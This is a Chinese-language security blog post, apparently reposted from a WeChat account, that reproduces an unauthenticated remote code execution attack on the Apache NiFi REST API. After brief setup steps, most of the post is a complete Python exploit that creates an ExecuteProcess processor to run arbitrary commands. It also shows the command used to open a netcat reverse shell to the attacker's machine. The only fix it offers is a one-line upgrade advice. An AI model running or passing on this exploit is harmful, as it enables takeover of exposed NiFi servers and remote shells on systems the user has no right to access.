Apache NiFi API远程代码执行复现

admin 2020年12月7日15:31:05评论230 views字数 2266阅读7分33秒阅读模式

简介

 

一个易用、强大、可靠的数据处理与分发系统。基于Web图形界面,通过拖拽、连接、配置完成基于流程的编程,实现数据采集等功能

 

 

环境搭建

 

进入目录

 

cd nifi-1.12.1/bin/
./nifi.sh


先执行一下试试,可以看到启动、停止、执行、重启、状态、dump、诊断、安装(为系统服务)、无状态


Apache NiFi API远程代码执行复现

./nifi.sh start


执行启动命令,删除了“java home”和“nifi home”,启动配置文件为“conf/bootstrap.conf”

Apache NiFi API远程代码执行复现

然后访问

http://your-ip:8080/nifi


能看到如下界面,基本确认启动成功。

Apache NiFi API远程代码执行复现


漏洞复现


Poc


import sysimport jsonimport requests as req

class Exp: def __init__(self, url): self.url = url
def check_is_vul(self): url = self.url + "/nifi-api/access/config" try: res = req.get(url=url, verify=False) data = res.json() return not data["config"]["supportsLogin"] except Exception as e: pass return False
def clean_up(self, p_id): url = self.url + "/nifi-api/processors/" + p_id data = {'revision': {'clientId': 'x', 'version': 1}, 'state': 'STOPPED'} req.put(url=url + "/run-status", data=json.dumps(data), verify=False) req.delete(url + "/threads", verify=False)
def exploit(self, cmd): g_id = self.fetch_process_group() if g_id: p_id = self.create_process(g_id) if p_id: self.run_cmd(p_id=p_id, cmd=cmd) self.clean_up(p_id=p_id)
def run_cmd(self, p_id, cmd): url = self.url + "/nifi-api/processors/" + p_id cmd = cmd.split(" ") data = { 'component': { 'config': { 'autoTerminatedRelationships': ['success'], 'properties': { 'Command': cmd[0], 'Command Arguments': " ".join(cmd[1:]), }, 'schedulingPeriod': '3600 sec' }, 'id': p_id, 'state': 'RUNNING' }, 'revision': {'clientId': 'x', 'version': 1} } print(data) headers = { "Content-Type": "application/json", } res = req.put(url=url, data=json.dumps(data), headers=headers, verify=False) return res.json()
def fetch_process_group(self): url = self.url + "/nifi-api/process-groups/root" try: res = req.get(url=url, verify=False) data = res.json()["id"] return data except Exception as e: pass return 0
def create_process(self, process_group_id): url = self.url + "/nifi-api/process-groups/" + process_group_id + "/processors" data = { 'component': { 'type': 'org.apache.nifi.processors.standard.ExecuteProcess' }, 'revision': { 'version': 0 } } headers = { "Content-Type": "application/json", } try: res = req.post(url=url, data=json.dumps(data), headers=headers, verify=False) return res.json()["id"] except Exception as e: pass return 0

if __name__ == '__main__': if len(sys.argv) != 3: print("rce.py url cmd") else: url = sys.argv[1] # http://192.168.1.1:8080 cmd = sys.argv[2] # nc -e /bin/bash 192.168.1.129 1234 e = Exp(url) e.exploit(cmd)

监听端口

nc -lvp 6666

执行命令

python exp.py http://192.168.204.132:8080 "nc -e /bin/bash 192.168.1.102 6666"

Apache NiFi API远程代码执行复现


修复建议


升级到最新版

 


本文始发于微信公众号(锋刃科技):Apache NiFi API远程代码执行复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年12月7日15:31:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache NiFi API远程代码执行复现https://cn-sec.com/archives/196725.html

发表评论

匿名网友 填写信息